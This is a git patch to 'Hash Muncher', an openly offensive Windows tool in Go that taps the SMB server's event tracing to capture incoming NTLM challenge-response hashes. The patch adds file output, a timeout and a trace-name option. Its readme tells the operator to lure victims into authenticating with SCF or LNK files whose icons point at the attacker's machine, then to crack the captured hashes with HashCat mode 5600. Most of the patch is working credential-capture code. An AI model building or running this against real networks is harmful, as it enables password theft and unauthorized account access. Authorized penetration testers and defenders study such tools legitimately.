From 1913049b17d8641356c43f649da8f918628d9b58 Mon Sep 17 00:00:00 2001 From: Lars Karlslund Date: Sat, 6 May 2023 12:00:00 +0200 Subject: [PATCH] Code reorganization, timeout option, output to file added --- .gitignore | 1 + go.mod | 7 ++- go.sum | 4 ++ main.go | 74 +++++++++++++++++++++++--- module.go | 6 ++- modules/ntlmhashes.go => ntlmhashes.go | 62 +++++++++++++++------ readme.MD | 10 ++-- 7 files changed, 135 insertions(+), 29 deletions(-) rename modules/ntlmhashes.go => ntlmhashes.go (80%) diff --git a/.gitignore b/.gitignore index 96e9e08..347c52a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ binaries/* .vscode +*.exe diff --git a/go.mod b/go.mod index 92d64ce..71d93ea 100644 --- a/go.mod +++ b/go.mod @@ -2,9 +2,12 @@ module github.com/lkarlslund/hashmuncher go 1.17 -require github.com/0xrawsec/golang-etw v1.6.2 +require ( + github.com/0xrawsec/golang-etw v1.6.2 + golang.org/x/sys v0.8.0 +) require ( github.com/0xrawsec/golang-utils v1.3.1 // indirect github.com/lkarlslund/binstruct v1.3.1-0.20230504093039-8f69d6d48410 -) \ No newline at end of file +) diff --git a/go.sum b/go.sum index 686361f..6c9f0a9 100644 --- a/go.sum +++ b/go.sum @@ -3,6 +3,7 @@ github.com/0xrawsec/golang-etw v1.6.2/go.mod h1:nTLqX2X4dxf/XpYiFmVfWSrjER/CO3A1 github.com/0xrawsec/golang-utils v1.3.1 h1:jjiBzsxzcQPkmEV5KONJY4OnCoqTTW1eQMJcpSdk3hw= github.com/0xrawsec/golang-utils v1.3.1/go.mod h1:DADTtCFY10qXjWmUVhhJqQIZdSweaHH4soYUDEi8mj0= github.com/0xrawsec/toast v1.2.3 h1:nTs5NyAdmSoDfxlYjMVMYb9wj3C/MFpnoIoQBPUsHXg= +github.com/0xrawsec/toast v1.2.3/go.mod h1:sRvfNYxqVoH1sZnE18s9Knm/lkbarTGNvaNVBf2/h1k= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -18,6 +19,9 @@ github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0 github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a h1:1BGLXjeY4akVXGgbC9HugT3Jv3hCI0z56oJR5vAMgBU= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/tools v0.0.0-20190320215829-36c10c0a621f/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= diff --git a/main.go b/main.go index 72968e3..da2bc77 100644 --- a/main.go +++ b/main.go @@ -3,13 +3,16 @@ package main import ( "context" "encoding/json" + "flag" "fmt" + "log" "os" "os/signal" "syscall" + "time" "github.com/0xrawsec/golang-etw/etw" - "github.com/lkarlslund/hashmuncher/modules" + "golang.org/x/sys/windows" ) type ProviderEventID struct { @@ -18,16 +21,55 @@ type ProviderEventID struct { } func main() { - s := etw.NewRealTimeSession(randomString(32)) + outputname := flag.String("output", "", "File to write detected hashes to, uses stdout if not supplied") + tracename := flag.String("tracename", "", "Use this fixed session name for the ETW trace rather than a random one") + timeout := flag.Int("timeout", 0, "Automatically end capture after seconds, 0 means no timeout") + + log.Println("Hash Muncher - dumps incoming NTLM hashes from SMB service using ETW on Windows") + + flag.Parse() + + // Check that the process is running elevated, otherwise the ETW tracing will not work + var sid *windows.SID + err := windows.AllocateAndInitializeSid(&windows.SECURITY_NT_AUTHORITY, 2, windows.SECURITY_BUILTIN_DOMAIN_RID, windows.DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid) + if err != nil { + log.Fatalf("Could not allocate SID: %v", err) + } + token := windows.Token(0) + member, err := token.IsMember(sid) + if err != nil { + log.Fatalf("Could not detect token membership: %v", err) + } + if !member { + log.Println("Process needs to be run with elevated rights, this will probably not work") + } + + // Setup output file or just default to stdout + output := os.Stdout + if *outputname != "" { + output, err = os.Create(*outputname) + if err != nil { + log.Fatalf("Could not create %v: %v", *outputname, err) + } + } + defer output.Close() + + // Set up ETW dumping + sessionname := randomString(32) + if *tracename != "" { + sessionname = *tracename + } + s := etw.NewRealTimeSession(sessionname) defer s.Stop() modulemap := make(map[ProviderEventID]Module) + resultchan := make(chan ModuleResult, 32) - modulelist := []Module{&modules.NTLMHash{}} + modulelist := []Module{&NTLMHash{}} for _, module := range modulelist { - provider, err := module.Init() + provider, err := module.Init(resultchan) if err != nil { - panic(err) + log.Fatalf("Problem initializing module: %v\n", err) } for _, eventid := range provider.Filter { @@ -35,10 +77,17 @@ func main() { } if err := s.EnableProvider(provider); err != nil { - panic(err) + log.Fatalf("Problem enabling provider %v: %v\n", provider, err) } } + // Output results + go func() { + for result := range resultchan { + fmt.Fprintf(output, "%s\n", result.String()) + } + }() + // Consuming from the trace c := etw.NewRealTimeConsumer(context.Background()) defer c.Stop() @@ -55,7 +104,7 @@ func main() { if b, err = json.Marshal(e); err != nil { panic(err) } - fmt.Println(string(b)) + log.Printf("Unhandled event recieved: %s\n", string(b)) } } }() @@ -64,7 +113,16 @@ func main() { panic(err) } - sigchan := make(chan os.Signal) + sigchan := make(chan os.Signal, 16) signal.Notify(sigchan, os.Interrupt, syscall.SIGTERM) + + // Auto timeout + if *timeout > 0 { + go func() { + time.Sleep(time.Duration(*timeout) * time.Second) + sigchan <- os.Interrupt + }() + } + <-sigchan } diff --git a/module.go b/module.go index 4885d35..49da846 100644 --- a/module.go +++ b/module.go @@ -3,6 +3,10 @@ package main import "github.com/0xrawsec/golang-etw/etw" type Module interface { - Init() (etw.Provider, error) + Init(resultchan chan<- ModuleResult) (etw.Provider, error) ProcessEvent(e *etw.Event) } + +type ModuleResult interface { + String() string +} diff --git a/modules/ntlmhashes.go b/ntlmhashes.go similarity index 80% rename from modules/ntlmhashes.go rename to ntlmhashes.go index fe55833..485e92f 100644 --- a/modules/ntlmhashes.go +++ b/ntlmhashes.go @@ -1,10 +1,11 @@ -package modules +package main import ( "bytes" "encoding/binary" "encoding/hex" "fmt" + "log" "unicode/utf16" "github.com/0xrawsec/golang-etw/etw" @@ -13,14 +14,42 @@ import ( type NTLMHash struct { lastServerChallenge []byte + resultchan chan<- ModuleResult } -func (m *NTLMHash) Init() (etw.Provider, error) { +type NTLMResult struct { + User, WorkStation, Target string + Challenge []byte + Hash []byte + MoreHash []byte +} + +func (nr NTLMResult) String() string { + if len(nr.MoreHash) == 0 { + return fmt.Sprintf("%s::%s:%X:%X\n", + nr.User, + nr.WorkStation, + nr.Challenge, + nr.Hash) + } + return fmt.Sprintf("%s::%s:%X:%X:%X\n", + nr.User, + nr.Target, + nr.Challenge, + nr.Hash, + nr.MoreHash, + ) +} + +func (m *NTLMHash) Init(resultchan chan<- ModuleResult) (etw.Provider, error) { + m.resultchan = resultchan + provider, err := etw.ParseProvider("Microsoft-Windows-SMBServer") if err != nil { return provider, err } provider.Filter = []uint16{40000} + return provider, nil } @@ -66,20 +95,23 @@ func (m *NTLMHash) ProcessEvent(e *etw.Event) { err := binstruct.UnmarshalLE(rawmessage, &message) if err == nil && m.lastServerChallenge != nil { if message.NTLMHash.Length == 24 { - fmt.Printf("%s::%s:%X:%X\n", - message.UserName.UTF16String(), - message.WorkStationName.UTF16String(), - m.lastServerChallenge, - message.NTLMHash.Data) + m.resultchan <- NTLMResult{ + User: message.UserName.UTF16String(), + WorkStation: message.WorkStationName.UTF16String(), + Challenge: m.lastServerChallenge, + Hash: message.NTLMHash.Data, + } } else if message.NTLMHash.Length > 24 { - fmt.Printf("%s::%s:%X:%X:%X\n", - message.UserName.UTF16String(), - message.TargetName.UTF16String(), - m.lastServerChallenge, - message.NTLMHash.Data[:16], - message.NTLMHash.Data[16:]) + m.resultchan <- NTLMResult{ + User: message.UserName.UTF16String(), + WorkStation: message.WorkStationName.UTF16String(), + Target: message.TargetName.UTF16String(), + Challenge: m.lastServerChallenge, + Hash: message.NTLMHash.Data[:16], + MoreHash: message.NTLMHash.Data[16:], + } } else { - fmt.Printf("Short NTLM hash encountered: %s:%s:%s:%X:%X:%X\n", + log.Printf("Short NTLM hash encountered: %s:%s:%s:%X:%X:%X\n", message.UserName.UTF16String(), message.WorkStationName.UTF16String(), message.TargetName.UTF16String(), @@ -90,7 +122,7 @@ func (m *NTLMHash) ProcessEvent(e *etw.Event) { } m.lastServerChallenge = nil } else { - fmt.Println(err) + log.Println(err) } } diff --git a/readme.MD b/readme.MD index e273c69..e1083a1 100644 --- a/readme.MD +++ b/readme.MD @@ -10,7 +10,11 @@ - Press Ctrl-C to stop processing - Crack hashes with HashCat using -m 5600 -### Download auto built binaries from [releases](/~https://github.com/lkarlslund/hashmuncher/releases) or build and install on Windows with this Go command +## Getting Hash Muncher + +### Download auto built binaries from [releases](/~https://github.com/lkarlslund/hashmuncher/releases) + +### Build and install on Windows with this Go command ```bash go install github.com/lkarlslund/hashmuncher@latest @@ -24,10 +28,10 @@ cd hashmuncher ./build.ps1 ``` -### Usage +## Usage ```bash -hashmuncher.exe +hashmuncher.exe [-output filename.txt] [-timeout nnn] [-tracename yourname] [-help] ``` Now wait for someone to authenticate against your machine. There are various techniques for this but SCF and LNK files with icons pointing to your machine is a popular way. Press Ctrl-C when you're done, copy output to a text file and run HashCat.